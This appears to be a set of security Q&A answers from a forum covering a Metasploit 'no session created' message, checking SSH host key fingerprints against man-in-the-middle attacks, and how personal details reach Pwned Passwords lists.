Metasploit Log or Additional Information Re: Exploit completed, but no session was created

Its Metasploit way telling you the exploit failed , because the system is patched and not vulnerable to this exploit, Or  possibly  that you have configured your payload handler wrong and so the payload code can't connect back.


How do I find out if I'm connecting to a spoofed server after getting "The authenticity of host [hostname] can't be estabilished"?

I have not reinstalled or in any way changed my server's key. Is there a way to check whether I'm connecting to the real server or a spoofed one?

If the key and hostname on/of the server hasn't changed, then you are connecting to the wrong server.  If you need to check whether the key really did change, you need a different mechanism to access the server, perhaps someone with local physical access to read the fingerprint to you.  If they have physical access, they can typically get on the OS.  Some hypervisors even just have root run a command and give you a root shell on the OS.

  If I do accept this new fingerprint, and connect to the server, what are the potential risks?

You risk giving your authentication credentials to someone else's server, thereby allowing someone else to access your server as you.  You also enable this "someone else" to MitM your connection to your server, and monitor what you do from now on.

  How would I quickly find out whether there is a man in the middle of our communication?

Assume there is once you see the "key does not match" message.  Only once you've proven that the key really has changed on your system (as described above in this answer) should you assume that there's no MitM or DNS error, or other problem in the communication path.


How did my exact name + birthday end up in PwnedPassword lists?

Very interesting. My guess is that someone was trying to brute-force one of your accounts, so those attempts ended up in their personal cracking dictionaries, which got sold to get incorporated into a bigger list, which got sold ..., and eventually it ended up in the HaveIBeenPwned list.